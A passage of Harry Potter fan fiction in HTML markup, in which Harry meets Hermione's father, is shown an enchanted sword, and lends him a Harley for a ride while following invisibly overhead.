cabinet that housed a number of much newer model firearms faced the desk. Everywhere Harry looked was some sort of cabinet or shelf, and if they didn&#8217;t house weapons, they contained books or intricate model ships in bottles.</p>\n\n<p>Harry stopped at the sword case and inspected one of the broadswords, noting some curious scratches on the handle. &#8220;Nice collection you have here.&#8221;</p>\n\n<p>&#8220;Thank you,&#8221; Mr. Granger settled himself into the large leather chair behind his desk, and picked up a case. He opened it, and removed several long, thin throwing knives. He tossed one up and caught it deftly before sending it spinning into a target several feet from his position.</p>\n\n<p>&#8220;Nice throw,&#8221; said Harry. &#8220;If you put more spin on it, it will stick better.&#8221;</p>\n\n<p>&#8220;You know knives?&#8221;</p>\n\n<p>&#8220;Yes, sir, a bit.&#8221;</p>\n\n<p>Mr. Granger offered one of the knives to Harry. &#8220;Be my guest.&#8221;</p>\n\n<p>Harry took the proffered weapon, spun it in the air, caught it by the tip, and then twirled it in his fingers getting its balance. He spun the blade back and forth, and then hurled it into the target.</p>\n\n<p>Mr. Granger whistled appreciatively. &#8220;Very nice, someone has taught you the art of knife handling.&#8221;</p>\n\n<p>&#8220;You&#8217;re pretty good yourself,&#8221; said Harry. &#8220;Hermione said you&#8217;re a dentist, but you handle a blade like you&#8217;ve used one before.&#8221;</p>\n\n<p>&#8220;That I have, son, that I have. I don&#8217;t talk about it, because it upsets the wife, and she forbade me to ever tell Hermione, but I wasn&#8217;t always a dentist. I used to be in the R.A.F, Squadron 56,&#8221; he said proudly. &#8220;We were known as the phoenix squadron, on account of the phoenix on our badges and we always rose from the ashes to get the job done.&#8221;</p>\n\n<p>&#8220;Wow!&#8221; Harry exclaimed. It seemed that no matter where he went, he couldn&#8217;t escape his connection with the mystical bird. He covered his amazement by turning it to flying. &#8220;I can&#8217;t believe you were a pilot.&#8221;</p>\n\n<p>&#8220;I flew the Phantom FG2, but I gave everything up two years before Hermione was born.&#8221;</p>\n\n<p>&#8220;Do you miss it?&#8221;</p>\n\n<p>&#8220;Flying?&#8221;</p>\n\n<p>&#8220;Yes.&#8221;</p>\n\n<p>&#8220;More than I ever thought possible,&#8221; said Mr. Granger sadly.</p>\n\n<p>&#8220;You&#8217;re lucky we came to visit,&#8221; said Harry with a broad smile.</p>\n\n<p>&#8220;Why is that?&#8221;</p>\n\n<p>&#8220;Well, sir, I just happen to have a flying motorcycle parked outside, and if you&#8217;d like to take it for a spin, I don&#8217;t mind at all.&#8221;</p>\n\n<p>&#8220;You have a motorcycle? What kind?&#8221;</p>\n\n<p>&#8220;Harley.&#8221;</p>\n\n<p>Mr. Granger got a far off look in his eyes, &#8220;I haven&#8217;t been on a motorcycle in years,&#8221; he said wistfully. &#8220;I&#8217;ve probably forgotten how to ride.&#8221;</p>\n\n<p>&#8220;Nonsense, it&#8217;ll all come back to you.&#8221;</p>\n\n<p>&#8220;Are you certain you don&#8217;t mind?&#8221;</p>\n\n<p>&#8220;Yes, sir.&#8221;</p>\n\n<p>&#8220;I can&#8217;t believe that for the first time in twenty years I&#8217;m going to get to ride a Harley.&#8221; Mr. Granger&#8217;s voice held more than a hint of excitement, in fact it sounded like he was barely restraining himself from dashing outside.</p>\n\n<p>&#8220;We&#8217;ll have to wait until it gets dark to fly. We don&#8217;t want the neighbors spotting you.&#8221;</p>\n\n<p>&#8220;Oh, of course not,&#8221; said Mr. Granger, settling back into his chair. The silence grew between them, and both shifted uncomfortably.</p>\n\n<p>Harry decided to change the subject and indicated the sword case. &#8220;If you don&#8217;t mind my asking, where did you get that sword?&#8221;</p>\n\n<p>Mr. Granger seemed to forget all about flying. &#8220;Which one are you referring to?&#8221;</p>\n\n<p>&#8220;The broadsword with the curled up cross guard.&#8221;</p>\n\n<p>&#8220;Oh that one, I picked it up at an estate sale. Why?&#8221;</p>\n\n<p>&#8220;It&#8217;s magic.&#8221;</p>\n\n<p>&#8220;What?&#8221;</p>\n\n<p>Harry raised his hand, and the weapon in question flew across the room and landed in his palm. &#8220;See these marks here?&#8221; He said, laying the sword on the desk and indicating the runic symbols etched into the hilt.</p>\n\n<p>&#8220;Yes. What are they?&#8221;</p>\n\n<p>&#8220;They&#8217;re Runes, they indicate the presence of magic.&#8221;</p>\n\n<p>&#8220;Can you read it?&#8221;</p>\n\n<p>&#8220;Usually, but these have been marred too much to make out the inner inscriptions.&#8221;</p>\n\n<p>&#8220;Is it dangerous?&#8221;</p>\n\n<p>&#8220;It could be. There&#8217;s a very easy way to find out, and I think you&#8217;ll get a kick out of this.&#8221; Harry reached back to his right shoulder, closed his hand, and then pulled Excalibur out of thin air. </p>\n\n<p>When the enchanted blade of legends appeared, Mr. Granger gasped, and the sword lying on the desk started shaking violently. </p>\n\n<p>&#8220;Whoa! It seems that it doesn&#8217;t like Excalibur!&#8221; said Harry, standing up and moving his weapon further away from the one on the desk.</p>\n\n<p>Mr. Granger seemed to be doing his impression of a fish out of water. &#8220;That&#8230;that&#8230;.that&#8217;s EXCALIBUR?&#8221; </p>\n\n<p>&#8220;Yes, sir,&#8221; said Harry, &#8220;The one and only.&#8221;</p>\n\n<p>&#8220;I thought it was only a legend!&#8221;</p>\n\n<p>Harry smiled, &#8220;All legends are based on fact IF you go back far enough.&#8221;</p>\n\n<p>&#8220;Wow,&#8221; Mr. Granger breathed almost reverently, &#8220;Excalibur&#8230;in my house.&#8221; He started to stick out his hand, but paused in mid motion. &#8220;May I touch it?&#8221;</p>\n\n<p>Harry looked at the weapon in his hand, then at the hopeful look on Mr. Granger&#8217;s face. &#8220;Yes. I&#8217;ll have to keep my hand on it as well, or it may go berserk.&#8221;</p>\n\n<p>&#8220;Of course,&#8221; said Mr. Granger. He placed his hand above Harry&#8217;s on the hilt, and a huge grin lit his face. &#8220;I can&#8217;t believe I&#8217;m holding Excalibur!&#8221;</p>\n\n<p>Harry smiled in return, but then noticed that the other sword had stopped its antics. &#8220;Well, I guess our friend isn&#8217;t harmful, but it&#8217;s definitely enchanted.&#8221;</p>\n\n<p>&#8220;Does that mean I can keep it?&#8221; asked Mr. Granger, releasing his hold on Excalibur.</p>\n\n<p>&#8220;Yes, sir,&#8221; said Harry. &#8220;It appears to recognize other enchanted objects, so it may have been a simple threat detector.&#8221;</p>\n\n<p>&#8220;Ahh, I see.&#8221;</p>\n\n<p>Harry returned Excalibur to its invisible scabbard, and sat back down while Mr. Granger returned the other sword to its case.</p>\n\n<p>&#8220;So Harry, tell me about this trip you and Hermione have to take.&#8221;</p>\n\n<p>&#8220;Well sir, our old Head Master is very ill, and Hermione and I have to undertake a quest to find the ingredients that make up the only potion that can cure him.&#8221;</p>\n\n<p>&#8220;Just the two of you?&#8221; asked Mr. Granger, taking his seat and propping his feet up on one corner of his desk.</p>\n\n<p>&#8220;Yes, sir, we also have to cast a spell to summon a very nervous creature, and it requires a trial period where it learns if it can trust us or not.&#8221;</p>\n\n<p>&#8220;Seems like you&#8217;ll be spending quite a bit of time together,&#8221; at Harry&#8217;s nod, Mr. Granger dropped his feet, and leaned forward over the desk, his eyes boring into Harry&#8217;s. &#8220;Just what are your intentions regarding my daughter?&#8221;</p>\n\n<p>Harry&#8217;s stomach knotted up, and he fidgeted in his seat, but didn&#8217;t break eye contact. &#8220;She means the world to me, sir. I&#8217;d never do anything to hurt her.&#8221;</p>\n\n<p>&#8220;I&#8217;m glad you feel that way, because she&#8217;s my baby girl, and I want to make sure she&#8217;s treated right,&#8221; said Mr. Granger leaning back in his chair. &#8220;I won&#8217;t ask anything embarrassing because I respect my daughter&#8217;s judgment; however, I have to ask what your financial status is.&#8221;</p>\n\n<p>Harry breathed a sigh of relief. &#8220;Well, sir, I inherited a small fortune from my parents, and due to some rather shrewd investments I&#8217;ve managed to augment my inheritance quite substantially.&#8221;</p>\n\n<p>&#8220;What kind of investments?&#8221;</p>\n\n<p>Harry scratched his head. &#8220;I gave a thousand galleons to some friends of mine to start a novelty shop. After the initial investment to get them started, I used some of my influence to get other investors for them, and now they&#8217;re a household name in the Wizarding World.&#8221;</p>\n\n<p>&#8220;I see,&#8221; said Mr. Granger, &#8220;Do you think they&#8217;d be interested in another investor?&#8221;</p>\n\n<p>&#8220;Yes, sir. It&#8217;s a very solid investment. I told Hermione they pay me a thousand galleons a month, but in reality, I don&#8217;t know how much they pay me. I just know that since they&#8217;ve been depositing money in my account, I&#8217;ve had to get a second vault at Gringott&#8217;s.&#8221;</p>\n\n<p>Mr. Granger let out a soft whistle. &#8220;When you get a chance, please let them know I&#8217;m interested in setting up a meeting with them.&#8221;</p>\n\n<p>&#8220;Yes, sir, I&#8217;ll be sure to do that,&#8221; said Harry. </p>\n\n<p>&#8220;You don&#8217;t have to call me, sir, Harry,&#8221; said Mr. Granger.</p>\n\n<p>&#8220;What would you prefer?&#8221;</p>\n\n<p>&#8220;Well, my name is Geoffrey, with a G.&#8221;</p>\n\n<p>&#8220;That&#8217;s not very common.&#8221;</p>\n\n<p>&#8220;I was named after Chaucer, my father&#8217;s favorite writer, but I go by Geoff. Are you okay with that?&#8221;</p>\n\n<p>&#8220;Yes, si&#8212;uh&#8212;Sure, Geoff.&#8221;</p>\n\n<p>&#8220;That&#8217;s better, isn&#8217;t it?&#8221;</p>\n\n<p>&#8220;Yeah, it is,&#8221; said Harry. He decided to change the subject to something more interesting. &#8220;Speaking of flying; that is an awesome red car you have in the driveway.&#8221;</p>\n\n<p>&#8220;Ah, you like that do you?&#8221; Geoff smiled, &#8220;That car was my graduation gift to myself. Come on, we&#8217;ll go take a closer look at it, and you can show me your scoot.&#8221; said Mr. Granger, as he stood up.</p>\n\n<p>&#8220;Cool!&#8221; Harry hopped up out of his chair, and followed Geoff out of the room. </p>\n\n<p>They had passed through the kitchen where the women were just finishing with the groceries, and had almost reached the front door when Hermione stopped them.</p>\n\n<p>&#8220;Having fun?&#8221;</p>\n\n<p>&#8220;Loads,&#8221; said Harry smiling. &#8220;We&#8217;re going out to take a look at the bike. Did you know your dad used to ride?&#8221;</p>\n\n<p>&#8220;No,&#8221; said Hermione. &#8220;He&#8217;s alluded to being slightly rebellious in his youth, but would never give me any details.&#8221; She shook her head at her father. &#8220;Honestly, Daddy.&#8221;</p>\n\n<p>Harry&#8217;s eyes widened when he realized just how much Hermione didn&#8217;t know about her father. He felt rather like Hagrid must have felt when he accidentally gave away the secret to getting past Fluffy. &#8220;I shouldn&#8217;t have said that,&#8221; he mumbled, mentally smacking himself in the head. &#8220;I should not have said that.&#8221;</p>\n\n<p>Geoff grinned, &#8220;Don&#8217;t worry about it, Harry.&#8221; He looked at his daughter and smiled. &#8220;I&#8217;ve wanted to tell you for some time now, Honey, but your mother asked me not to. She was afraid that if you heard about how much of a rule breaker I was, then you might have been tempted to stray from the straight and narrow and get yourself into all sorts of troubles and adventures.&#8221;</p>\n\n<p>Hermione rolled her eyes and Harry chuckled. &#8220;Geoff, Hermione is the only reason I&#8217;m still alive. She&#8217;s been instrumental in assisting me with all my adventures, and sometimes she&#8217;s had to break some rules.&#8221;</p>\n\n<p>Hermione snorted, &#8220;Break he says, more like shattered to pieces.&#8221;</p>\n\n<p>&#8220;You never told us about those parts,&#8221; said Mr. Granger, giving his daughter a long look. </p>\n\n<p>&#8220;I thought it best to omit certain aspects of our adventures as they may not have been well received,&#8221; said Hermione.</p>\n\n<p>Geoff raised an eyebrow. &#8220;Good call.&#8221;</p>\n\n<p>Hermione smiled sweetly. &#8220;I love you, Daddy!&#8221;</p>\n\n<p>&#8220;And that&#8217;s supposed to make it all better, isn&#8217;t it?&#8221; Geoff sighed wearily.</p>\n\n<p>&#8220;Yes.&#8221;</p>\n\n<p>&#8220;What am I going to do with you, Princess?&#8221; Geoff shook his head at his daughter, and then turned to Harry, &#8220;You see all these grey hairs?&#8221; he asked, running his fingers through his salt and pepper hair. &#8220;Every last one of them was caused by this girl.&#8221; Hermione stuck her tongue out at her father, and Geoff broke into a broad smile, &#8220;I tell you, Harry, pray you never have any daughters, because they will drive you nuts!&#8221;</p>\n\n<p>Harry laughed, and Hermione glared at her father. &#8220;That&#8217;s not funny, Daddy!&#8221;</p>\n\n<p>&#8220;Harry obviously thought it was funny,&#8221; said Geoff, grinning from ear to ear.</p>\n\n<p>Hermione gave Harry a dirty look that made both men laugh even harder, &#8220;Yes, well Harry never has had much of a sense of humor.&#8221;</p>\n\n<p>&#8220;That&#8217;s not true, Hermione,&#8221; said Harry chuckling. &#8220;You just have a hard time appreciating it.&#8221;</p>\n\n<p>&#8220;I have a hard time appreciating it, because it&#8217;s almost nonexistent,&#8221; Hermione said dryly.</p>\n\n<p>Harry opened his mouth, but a look from Geoff stopped him. &#8220;Give it a rest son, you&#8217;ll never win.&#8221;</p>\n\n<p>&#8220;Yes Harry, listen to Geoff,&#8221; said Mrs. Granger, walking into the room. &#8220;He knows what it&#8217;s like to never win.&#8221;</p>\n\n<p>&#8220;Oh really?&#8221; said Geoff with a sly smile.</p>\n\n<p>&#8220;Don&#8217;t go there, Geoff.&#8221;</p>\n\n<p>&#8220;Why not, Gretchen?&#8221; asked Mr. Granger. &#8220;I seem to recall winning just the other night&#8230;Now what did I win?&#8221; He got a far away look on his face that slowly turned into an evil grin, &#8220;Oh yeah! You had to wear that little-- </p>\n\n<p>Mrs. Granger blushed, and she slapped her husband on the upper arm, &#8220;Geoff! Not in front of the kids.&#8221; </p>\n\n<p>Hermione looked mortified at the turn the conversation had taken, &#8220;Mum! Dad! Please! I do not need to hear this!&#8221;</p>\n\n<p>&#8220;Now look what you&#8217;ve done, Geoff, you&#8217;ve scarred our daughter for life!&#8221;</p>\n\n<p>&#8220;Oh dear!&#8221; cried Mr. Granger dramatically. &#8220;Hermione, Honey, can you ever forgive me?&#8221;</p>\n\n<p>&#8220;Daddy!&#8221; Hermione said through clenched teeth. </p>\n\n<p>Harry was amazed at the banter going on between Mr. and Mrs. Granger. He&#8217;d never seen the like in his entire life, and it gave him a warm feeling inside to see two people that obviously loved one another a great deal having fun together without actually going anywhere or doing anything other than talking. The fact that Hermione looked like she was ready to have a coronary just made it that much more entertaining.</p>\n\n<p>&#8220;You two are embarrassing me,&#8221; said Hermione.</p>\n\n<p>Mr. Granger turned to Mrs. Granger, &#8220;Did you know that we&#8217;re embarrassing our daughter?&#8221;</p>\n\n<p>&#8220;Whatever gave you that idea?&#8221;</p>\n\n<p>&#8220;Didn&#8217;t you hear her?&#8221;</p>\n\n<p>&#8220;Was she speaking?&#8221; asked Mrs. Granger. </p>\n\n<p>Hermione rolled her eyes, &#8220;Oh for God&#8217;s sake, not the question game!&#8221;</p>\n\n<p>&#8220;Did you hear someone?&#8221; asked Mr. Granger, smiling broadly.</p>\n\n<p>&#8220;Did I hear someone what?&#8221; Mrs. Granger played along beautifully.</p>\n\n<p>&#8220;Will you two please STOP?&#8221;</p>\n\n<p>Mrs. Granger winked at her husband, &#8220;I&#8217;m sorry Hermione, were you saying something?&#8221;</p>\n\n<p>&#8220;Yes!&#8221; Hermione cried.</p>\n\n<p>&#8220;Well, what is it?&#8221; asked Geoff, fighting a grin.</p>\n\n<p>&#8220;I don&#8217;t remember,&#8221; said Hermione, looking like she was doing her best to stay mad, but failing miserably.</p>\n\n<p>Harry choked on his laughter, drawing their attention to him. </p>\n\n<p>&#8220;Oh, Harry, I&#8217;m sorry,&#8221; said Mrs. Granger. &#8220;We didn&#8217;t mean to leave you out of the fun.&#8221;</p>\n\n<p>Harry smiled and raised a hand, &#8220;Not at all. I&#8217;m used to observing family interactions rather than being a part of them.&#8221;</p>\n\n<p>&#8220;That&#8217;s terrible,&#8221; said Mrs. Granger. &#8220;Hermione&#8217;s told us about your upbringing, and it infuriates me to think that a boy as nice as you are was treated so badly. You were practically a slave in your own home! Oooh! I&#8217;d love to give those Dursleys a piece of my mind!&#8221;</p>\n\n<p>&#8220;Calm down, Gretchen,&#8221; said Geoff. &#8220;There&#8217;s no need to upset yourself over the past, right Harry?&#8221; </p>\n\n<p>&#8220;Yes, sir, what&#8217;s done is done. I squared things with them three years ago, and no longer bear them any ill will.&#8221;</p>\n\n<p>&#8220;That takes a big man, Harry,&#8221; said Mr. Granger.</p>\n\n<p>&#8220;Just don&#8217;t ask how he squared it,&#8221; muttered Hermione.</p>\n\n<p>&#8220;I&#8217;m sure they got only what they deserved,&#8221; said Mrs. Granger. &#8220;I wouldn&#8217;t blame you if you hated them, Harry.&#8221;</p>\n\n<p>&#8220;Well ma&#8217;am,--</p>\n\n<p>&#8220;Gretchen,&#8221; said Mrs. Granger breaking in, &#8220;call me Gretchen.&#8221;</p>\n\n<p>&#8220;Well, Gretchen, I&#8217;ve learned a lot of things in the past few years, and one of them is that life is far too short to waste even one second hating another person. I had the chance to avenge my parents&#8217; death by killing the man that betrayed them, but I chose to let him live. I got the opportunity again, when he tried to harm Hermione, and this time I didn&#8217;t hold back,&#8221; Harry let that statement hang for a moment so they could grasp the implications, and then continued on. &#8220;I know what it&#8217;s like to hate, and it eats away at you. It can sustain you in a time of hardship, but if it is never let go, it will consume your very soul&#8221;</p>\n\n<p>&#8220;That&#8217;s deep,&#8221; said Geoff.</p>\n\n<p>&#8220;Daddy, stop. Harry is being serious,&#8221; said Hermione. &#8220;He&#8217;s gone through more in the past ten years than most people go through in a lifetime or even two lifetimes,&#8221; she moved next to Harry, and took his hand in both of hers. &#8220;It&#8217;s rare and very difficult for him to speak about things like this, so please accord him some respect!&#8221;</p>\n\n<p>&#8220;No disrespect intended, Hermione, that was a very deep sentiment, and one I agree with whole heartedly,&#8221; said Mr. Granger.</p>\n\n<p>&#8220;Thank you, Geoff,&#8221; said Harry. He looked around at the solemn faces and grinned self consciously, &#8220;I didn&#8217;t mean to bring everyone down, let&#8217;s talk about something more light hearted.&#8221;</p>\n\n<p>&#8220;I&#8217;m all for that,&#8221; said Gretchen, &#8220;What were you boys going to do outside?&#8221;</p>\n\n<p>&#8220;I was going to show Harry the cars, and he was going to let me ride his bike.&#8221;</p>\n\n<p>&#8220;I don&#8217;t think that&#8217;s a good idea, Geoff,&#8221; said Mrs. Granger frowning. &#8220;Motorcycles are notoriously dangerous, and I know how you get.&#8221;</p>\n\n<p>&#8220;Aww, Honey, I&#8217;ll be careful,&#8221; smiled Mr. Granger.</p>\n\n<p>&#8220;See that you do, it&#8217;s been a long time since you last rode, and we don&#8217;t need you in the hospital because you had an accident.&#8221;</p>\n\n<p>Harry looked at Hermione and grinned. It seemed like they had once had a similar argument, but over very different circumstances.</p>\n\n<p>&#8220;I will,&#8221; said Geoff, &#8220;now don&#8217;t worry.&#8221; He reached in his pocket and pulled out his wallet. He took out several large bills and handed them to his wife. &#8220;Here, why don&#8217;t you and Hermione go shopping? It&#8217;s on me.&#8221;</p>\n\n<p>Harry got the distinct impression that Mr. Granger was trying to get rid of the women for a few hours, but wisely kept his mouth shut. He noticed that Mrs. Granger could see right through her husband, but she went along with him anyway.</p>\n\n<p>&#8220;Okay Geoff, we&#8217;ll go shopping, but I&#8217;d rather have your credit card instead of&#8230;&#8221; she held up the bills, &#8220;these.&#8221; </p>\n\n<p>Mr. Granger was visibly torn between wanting time to enjoy the motorcycle and freely handing over his credit card. Eventually, excitement beat out monetary concerns, and he dug the card out and passed it over. &#8220;Here, please try to use some restraint.&#8221;</p>\n\n<p>&#8220;Thank you,&#8221; said Mrs. Granger. She stood on her tiptoes and kissed her husband on the cheek, &#8220;you&#8217;re such a sweetie, Geoff.&#8221;</p>\n\n<p>&#8220;Yeah, yeah,&#8221; grumbled Mr. Granger. &#8220;Can I have my cash back?&#8221;</p>\n\n<p>&#8220;Oh no, Hermione and I are going to use it to dine on,&#8221; said Mrs. Granger with a wide smile. &#8220;We&#8217;ll see you later, come on Hermione, you can drive the Porsche.&#8221;</p>\n\n<p>&#8220;No! Harry and I were going to tinker with it,&#8221; said Geoff. &#8220;Take the Land Rover.&#8221;</p>\n\n<p>Hermione pouted and gave her father a sad puppy face, &#8220;But I don&#8217;t wanna drive the Rover, Daddy. I wanna drive the Porsche.&#8221;</p>\n\n<p>Harry snickered, but Geoff took one look at his daughter&#8217;s face and relented. &#8220;Okay, Honey, you take the Porsche.&#8221;</p>\n\n<p>&#8220;Thank you, Daddy!&#8221; Hermione threw her arms around her father neck.</p>\n\n<p>&#8220;You&#8217;re welcome, Sweetheart.&#8221;</p>\n\n<p>Harry stood silently, just taking in everything. He&#8217;d never seen this side of Hermione before, and he had to admit that he found it incredibly endearing. She was very much daddy&#8217;s little princess, and he had a sudden insight to what she must have been like as a very young child. He smiled at how cute the little girl in his head was, and out of nowhere wondered if his daughter would look like her mother or himself. He was mildly surprised when that thought landed, but rather than push it away, his mind decided to explore the possibilities. His smile turned sad when he realized that his parents would never get to meet any of their grandchildren, and he felt a flash of rage wash over him when he thought about the reason why that would never happen&#8230;Voldemort. His fists clenched and he vaguely heard the knuckles crack.</p>\n\n<p>&#8220;Harry? Harry? Yoo-Hoo! Hey, Harry!&#8221;</p>\n\n<p>&#8220;Huh? What?&#8221; Harry came back to himself to discover Mr. Granger waving a hand in front of his face.</p>\n\n<p>&#8220;Wow! Boy when you space out, you really space out!&#8221;</p>\n\n<p>&#8220;Sorry, Geoff,&#8221; mumbled Harry.</p>\n\n<p>&#8220;Harry, are you alright? Hermione asked. Harry could hear the worry in her voice.</p>\n\n<p>&#8220;I&#8217;m fine, Hermione,&#8221; said Harry, avoiding her eyes.</p>\n\n<p>Hermione planted herself in front of him and grabbed his head, pulling it down until their eyes locked. &#8220;Are you sure? You looked deep in thought about something, then your knuckles cracked and we saw that you were clenching your fists.</p>\n\n<p>&#8220;Yeah, I was just daydreaming for minute.&#8221;</p>\n\n<p>&#8220;Actually it was more like five minutes,&#8221; said Mrs. Granger.</p>\n\n<p>&#8220;It was?&#8221; asked Harry.</p>\n\n<p>&#8220;Yes. Does that happen often?&#8221; </p>\n\n<p>&#8220;No, not often, but due to recent events, it&#8217;s happened a few times.&#8221; Harry scratched the back of his neck. &#8220;It&#8217;s a reaction to Voldemort, when I think about him, I get a little angry, and I zone out for a few minutes.&#8221; Harry noticed that now all three of them appeared to be worried about his mental health. &#8220;Really, it&#8217;s no big deal.&#8221;</p>\n\n<p>Hermione looked sceptical, but gave in, &#8220;If you&#8217;re sure it&#8217;s nothing to worry about, I&#8217;ll respect your decision, but please don&#8217;t brush aside my concern.&#8221;</p>\n\n<p>&#8220;Thank you, Hermione.&#8221;</p>\n\n<p>Mrs. Granger walked over and took Hermione&#8217;s hand. &#8220;We&#8217;ll see you boys later, have fun but please try to stay out of trouble.&#8221;</p>\n\n<p>&#8220;We will,&#8221; said Mr. Granger, &#8220;have a good time.&#8221;</p>\n\n<p>Hermione plucked the credit card out of her mother&#8217;s hand and waved it, &#8220;With this in hand, a good time is guaranteed.&#8221; She gave Harry a quick kiss, and then she and her mother ran for the front door giggling like little girls.</p>\n\n<p>&#8220;Don&#8217;t run in the house!&#8221; Geoff bellowed after them. </p>\n\n<p>Harry heard the Porsche start up, the engine revved a few times, and then the unmistakable sound of tires peeling out on pavement. &#8220;Get on it, Hermione!&#8221; </p>\n\n<p>&#8220;That girl is a terror,&#8221; Geoff turned to Harry with an almost maniacal gleam in his eyes. &#8220;Now that they&#8217;re gone, we can go have some fun!&#8221; </p>\n\n<p>Harry laughed, shook his head and indicated the door with his hand, &#8220;After you.&#8221;</p>\n\n<p>Mr. Granger didn&#8217;t waste a second, like a shot, he was out the door. Harry just shook his head, and went outside as well.</p>\n\n<p>Mr. Granger was walking around the Harley Davidson, giving it a long appraising look. He squatted down and peered intently at the V-Twin engine, lightly running his hand over the seat and fuel tank. </p>\n\n<p>&#8220;This is a fine piece of machinery, Harry, a fine piece of machinery.&#8221;</p>\n\n<p>Harry walked over and squatted down as well, &#8220;Thanks, it was a present from my godfather.&#8221;</p>\n\n<p>&#8220;That man has excellent taste in bikes.&#8221;</p>\n\n<p>&#8220;Yeah, he does,&#8221; said Harry. He reached into his jacket pocket and pulled out a set of keys. &#8220;Ready to saddle up?&#8221;</p>\n\n<p>&#8220;I thought you said we&#8217;d have to wait for nightfall.&#8221;</p>\n\n<p>&#8220;To fly we do, but not to ride.&#8221;</p>\n\n<p>&#8220;In that case,&#8221; Mr. Granger&#8217;s eyes lit up and he eagerly grabbed the keys and hopped aboard the big bike. &#8220;I can&#8217;t believe I&#8217;m about to ride a Harley again. This is far out!&#8221;</p>\n\n<p>Harry grinned, &#8220;Well, are you gonna set there admiring the thing or are you gonna ride?&#8221;</p>\n\n<p>&#8220;Patience son, you don&#8217;t rush an experience like this,&#8221; explained Mr. Granger slowly. &#8220;It&#8217;s like the first time you have sex, take your time and ease into it.&#8221;</p>\n\n<p>Harry blushed crimson, &#8220;I&#8230;I wouldn&#8217;t know anything about that.&#8221;</p>\n\n<p>Mr. Granger frowned, &#8220;You mean you and Hermione haven&#8217;t&#8230;?&#8221;</p>\n\n<p>&#8220;No, sir!&#8221; Harry fervently wished that this topic hadn&#8217;t come up, but now that he was confronted by it, he felt the need to explain his actions or lack thereof. &#8220;The truth is&#8230; we can&#8217;t.&#8221;</p>\n\n<p>&#8220;I&#8217;m not trying to encourage you, son, but of course you can.&#8221;</p>\n\n<p>Harry searched for a way to explain that wouldn&#8217;t have him blatantly stating his reasons. &#8220;Geoff, what do you know about Unicorns?&#8221;</p>\n\n<p>Geoff scratched his head, all his excitement about the motorcycle seemingly forgotten. &#8220;They&#8217;re the embodiment of purity and innocence, and can only be approached by maidens. Why?&#8221;</p>\n\n<p>&#8220;Well, the creature we have to contact is a type of flying unicorn, and demands the same rule.&#8221;</p>\n\n<p>&#8220;Oh, I see. You can&#8217;t because if you did then the creature wouldn&#8217;t allow contact.&#8221;</p>\n\n<p>&#8220;Right, and to prevent any accidents, I placed a ward on Hermione that will&#8230;How can I put this delicately? It will&#8230;repel me, if things start getting out of hand.&#8221;</p>\n\n<p>Geoff shook his head, &#8220;I like the way you think, Harry. That is a very responsible approach to the whole thing.&#8221;</p>\n\n<p>&#8220;Thank you, Geoff,&#8221; said Harry. He reached over and flipped the ignition switch to ON. </p>\n\n<p>&#8220;No problem son,&#8221; said Mr. Granger. He seemed to think of something, &#8220;Did you want to come with me or what?&#8221;</p>\n\n<p>&#8220;Nah, you&#8217;ve got far more experience than I have,&#8221; said Harry, &#8220;I figure you&#8217;re perfectly capable to solo.&#8221;</p>\n\n<p>&#8220;Alright,&#8221; Geoff popped out the kick start lever and jumped on it. The powerful engine roared to life through the straight pipes, loud enough that Harry noticed several curtains being drawn back as people peeked outside. &#8220;Wow! This thing is loud!&#8221; Geoff shouted to make himself heard over the rumble.</p>\n\n<p>&#8220;Would you have it any other way?&#8221; Harry shouted back.</p>\n\n<p>Geoff grinned and shook his head, &#8220;Hell no!&#8221; </p>\n\n<p>&#8220;Have fun!&#8221; Harry shouted as Mr. Granger popped the clutch and lit up the back tire. The Harley laid rubber for twenty feet before Geoff let off the accelerator and tore off down the road. Harry shook his head in amusement. Everyone was entitled to acting childish every once in a while. He waited for a few more moments, and then taking a quick look around to make sure no one was watching, he made himself invisible. He took flight, flying just fast enough to catch up to the big Harley. He decided not to say anything so as not to startle the man, but kept pace a few feet above the rider&#8217;s head. As he flew, his thoughts wandered, never settling on any one thing. He was on a sort of autopilot, just going with the flow. The wind rushing through his hair helped to clear his mind, and he settled down to enjoy his flight. </p>\n\n<p>Harry loved flying, and had been overjoyed to discover that with a little practice he could fly without the need of a broomstick, something that no wizard had ever done. He had kept this tidbit of information to himself, because he didn&#8217;t want anyone to know just how extensive his powers had become. Arch Mage was bad enough, but if people learned that he could fly without a broom, they were likely to start worshipping him, and that was something that he was not prepared to deal with. Although he had given thought to wearing a long red cape instead of the black or gray he usually wore, just for the look and feel of a real life superhero like most people thought he was. He smiled when he imagined himself in tights and a cape, a big lightning bolt emblazoned across his chest. Now there was an image to provide years of humiliation.</p>\n\n<p>Harry knew that as soon as he and Hermione left the Granger&#8217;s house they would have to summon the Alicorn and that as much as he hated to do it, he was going to have to leave the motorcycle behind. The magical means by which it flew would constitute a violation of the rules by which the Alicorn Nation operated, and he didn&#8217;t want to start out on the wrong foot. He figured that Geoff would be only too happy to keep an eye on the big bike, and intended to broach the subject later that night. For the moment however, he was content to fly along behind the motorcycle and just relax. He closed his eyes, and let the rumble of the bike lull him into an almost sleep like state.</p>\n\n<p>The sound of the bike downshifting awoke him some time later, and he saw that Geoff was turning down a long dirt driveway. In the distance, Harry could make out a nice house, and large barn like structure. The bike roared down the drive, and stopped in front of the barn. A large man, even bigger than Geoff walked out, wiping his dirty hands on a rag. He smiled when he saw his visitor, and Harry floated down to listen to their conversation.</p>\n\n<p>&#8220;Hi-ya Ranger!&#8221; The big man sounded like an American, but his voice had just a touch of a Canadian inflection, with an underlying Scottish burr. He looked like a smaller version of Hagrid except he wasn&#8217;t as bulky. He stuck his rag in his pocket and offered his hand as Geoff killed the bike and climbed off.</p>\n\n<p>Geoff took the proffered hand and shook, wincing as the bigger man applied a bit too much pressure. </p>\n\n<p>&#8220;Hey, Bear,&#8221; said Geoff, extracting his hand, and rubbing the circulation back into it. &#8220;How many times do I have to tell you to watch your strength?&#8221;</p>\n\n<p>The big man looked embarrassed. &#8220;Sorry Ranger, ye okay?&#8221;</p>\n\n<p>&#8220;I&#8217;m fine. How have you been?&#8221;</p>\n\n<p>&#8220;Pretty good, I been working on my new bike.&#8221; His eyes alit on the bike behind Geoff. &#8220;Say! Tha&#8217;s a right fine piece of hardware there! When did ye get tha&#8217;?&#8221; He moved closer and knelt down to get a closer look.</p>\n\n<p>&#8220;It&#8217;s not mine, it belongs to my daughter&#8217;s boyfriend.&#8221;</p>\n\n<p>&#8220;Ahh, and what do ye think of the boyo?&#8221;</p>\n\n<p>&#8220;He&#8217;s a good kid. From the way Hermione talks about him, you&#8217;d think he hung the moon.&#8221;</p>\n\n<p>Bear smiled, revealing perfectly white teeth. &#8220;Young love 